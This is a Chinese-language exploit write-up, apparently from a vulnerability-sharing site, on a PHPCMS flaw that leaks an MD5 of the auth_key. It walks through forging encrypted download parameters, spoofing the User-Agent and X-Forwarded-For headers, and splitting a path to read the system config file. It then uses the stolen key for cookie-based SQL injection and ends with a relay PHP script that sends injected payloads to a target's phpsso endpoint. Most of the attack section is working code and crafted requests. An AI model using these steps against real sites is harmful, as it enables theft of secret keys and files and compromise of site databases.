PHPCMS某处设计缺陷可致authkey泄露

  • A+
所属分类:漏洞时代
摘要

swfupload上传页面输出了 MD5(auth_key+sess_id), phpcms/modules/attachment/functions/global.func.php:initupload函数

swfupload上传页面输出了 MD5(auth_key+sess_id), phpcms/modules/attachment/functions/global.func.php:initupload函数

function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){          $grouplist = getcache('grouplist','member');          if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;          extract(getswfinit($args));          $siteid = param::get_cookie('siteid');          $site_setting = get_site_setting($siteid);          $file_size_limit = $site_setting['upload_maxsize'];          $sess_id = SYS_TIME;          $admin_url = pc_base::load_config('system','admin_url');          $upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/';          $swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);          $init =  'var swfu = /'/';          $(document).ready(function(){          swfu = new SWFUpload({              flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(),              upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",              file_post_name : "Filedata",              post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},              file_size_limit:"'.$file_size_limit.'",              file_types:"'.$file_types.'",              file_types_description:"All Files",              file_upload_limit:"'.$file_upload_limit.'",              custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},                     button_image_url: "",              button_width: 75,              button_height: 28,              button_placeholder_id: "buttonPlaceHolder",              button_text_style: "",              button_text_top_padding: 3,              button_text_left_padding: 12,              button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,              button_cursor: SWFUpload.CURSOR.HAND,                file_dialog_start_handler : fileDialogStart,              file_queued_handler : fileQueued,              file_queue_error_handler:fileQueueError,              file_dialog_complete_handler:fileDialogComplete,              upload_progress_handler:uploadProgress,              upload_error_handler:uploadError,              upload_success_handler:uploadSuccess,              upload_complete_handler:uploadComplete              });          })';          return $init;      }

可以看到函数返回的数据中有$sess_id 、$swf_auth_key这两个值,并且$swf_auth_key=MD5(auth_key+$sess_id).

模板phpcms/modules/attachment/templates/swfupload.tpl.php调用initupload函数输出了上边的内容:

<?php echo initupload($_GET['module'],$_GET['catid'],$args,$this->userid,$this->groupid,$this->isadmin,$userid_flash)?>

利用点:PHPCMS文件下载功能加密了文件路径,使用的加密密钥为MD5(auth_key+User-Agent),通过修改浏览器UA为上边获取到的$sess_id,就能共用一个加密密钥,从而使PHPCMS能够解密我们构造的数据,这样就能下载任意文件啦。

phpcms/modules/content/down.php:

public function download() {          $a_k = trim($_GET['a_k']);          if(empty($_SERVER['HTTP_USER_AGENT'])){              $pc_auth_key = md5(pc_base::load_config('system','auth_key').'down');          }else{              $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);//修改UA为$sess_id          }          $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);//$pc_auth_key为前面获取到的$swf_auth_key          if(empty($a_k)) showmessage(L('illegal_parameters'));          unset($i,$m,$f,$t,$ip);          parse_str($a_k);                  if(isset($i)) $downid = intval($i);          if(!isset($m)) showmessage(L('illegal_parameters'));          if(!isset($modelid)) showmessage(L('illegal_parameters'));          if(empty($f)) showmessage(L('url_invalid'));          if(!$i || $m<0) showmessage(L('illegal_parameters'));          if(!isset($t)) showmessage(L('illegal_parameters'));          if(!isset($ip)) showmessage(L('illegal_parameters'));          $starttime = intval($t);          if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(/.|$)/i',$f) || strpos($f, "://")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));          $fileurl = trim($f);          if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));              $endtime = SYS_TIME - $starttime;          if($endtime > 3600) showmessage(L('url_invalid'));          if($m) $fileurl = trim($s).trim($fileurl);//对$s没有过滤,可以将路径拆成两部分来绕过检查          //远程文件          if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {               header("Location: $fileurl");          } else {              if($d == 0) {                  header("Location: ".$fileurl);              } else {                  $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                  $filename = basename($fileurl);                  //处理中文文件                  if(preg_match("/^([/s/S]*?)([/x81-/xfe][/x40-/xfe])([/s/S]*?)/", $fileurl)) {                      $filename = str_replace(array("%5C", "%2F", "%3A"), array("//", "/", ":"), urlencode($fileurl));                      $filename = urldecode(basename($filename));                  }                  $ext = fileext($filename);                  $filename = date('Ymd_his').random(3).'.'.$ext;                  file_down($fileurl, $filename);//readfile读取文件输出              }          }      }

利用方式:

第一步获取$sess_id 和 $swf_auth_key:

注册用户登录后,在线投稿(需要后台开启),上传图片右键源码:
PHPCMS某处设计缺陷可致authkey泄露

PHPCMS某处设计缺陷可致authkey泄露
得到SWFUPLOADSESSID、swf_auth_key这两个值记录下来后边会用到。

第二部构造参数提交:

文件下载url:index.php?m=content&c=down&a=download&a_k=构造的参数,使用上一步得到的$swf_auth_key加密数据:

<?php  echo sys_auth('i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', 'cfd9640609eda8f9fb18c6218a1b2fbb');  ?>

将路径拆为两部分绕过检查。下载会检查ip,提交的时候xff要与之对应。

GET /phpcms/index.php?m=content&c=down&a=download&a_k=a0a0O5Uaj01MArU_b8CugWY5sD_DOEywOTSS23YhCRMuvNAZxC0SZQJqKP4d4aji2bxoqi6AkHntYxSdp0nH5EImeznkwR8a4Cv4q0icTqG93BV2-XxvYNmNaojda_T0ZwW71REcF8ylU3I HTTP/1.1  Host: www.test.com  User-Agent: 1428568625  X-Forwarded-For: 127.0.0.1

PHPCMS某处设计缺陷可致authkey泄露
通过读取配置文件,得到auth_key之后就能SQL注入了。

phpcms/modules/member/classes/foreground.class.php:

final public function check_member() {          $phpcms_auth = param::get_cookie('auth');          if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {              if ($phpcms_auth && ROUTE_A != 'mini') {                  showmessage(L('login_success', '', 'member'), 'index.php?m=member&c=index');              } else {                  return true;              }          } else {              //判断是否存在auth cookie              if ($phpcms_auth) {                  $auth_key = $auth_key = get_auth_key('login');                  list($userid, $password) = explode("/t", sys_auth($phpcms_auth, 'DECODE', $auth_key));//解密cookie取值                  //验证用户,获取用户信息                  $this->memberinfo = $this->db->get_one(array('userid'=>$userid));//$userid没有intval,存在注入而且无视GPC                  if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');                  //获取用户模型信息                  $this->db->set_model($this->memberinfo['modelid']);                    $this->_member_modelinfo = $this->db->get_one(array('userid'=>$userid));                  $this->_member_modelinfo = $this->_member_modelinfo ? $this->_member_modelinfo : array();                  $this->db->set_model();                  if(is_array($this->memberinfo)) {                      $this->memberinfo = array_merge($this->memberinfo, $this->_member_modelinfo);                  }                  ...

PHPCMS某处设计缺陷可致authkey泄露

附上一个中转的脚本

<?php set_time_limit(0); $wang_url = 'http://www.0day5.com';   $auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';   $str = "uid=1".stripslashes($_GET['id']); $encode = sys_auth($str, 'ENCODE', $auth_key); $content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode); echo $content; function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {          $key_length = 4;          $key = md5($key);          $fixedkey = hash('md5', $key);          $egiskeys = md5(substr($fixedkey, 16, 16));          $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';          $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));          $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));          $i = 0; $result = '';          $string_length = strlen($string);          for ($i = 0; $i < $string_length; $i++){                    $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));          }          if($operation == 'ENCODE') {                    return $runtokey . str_replace('=', '', base64_encode($result));          } else {                    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {                             return substr($result, 26);                    } else {                             return '';                    }          } } ?>

PHPCMS某处设计缺陷可致authkey泄露

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: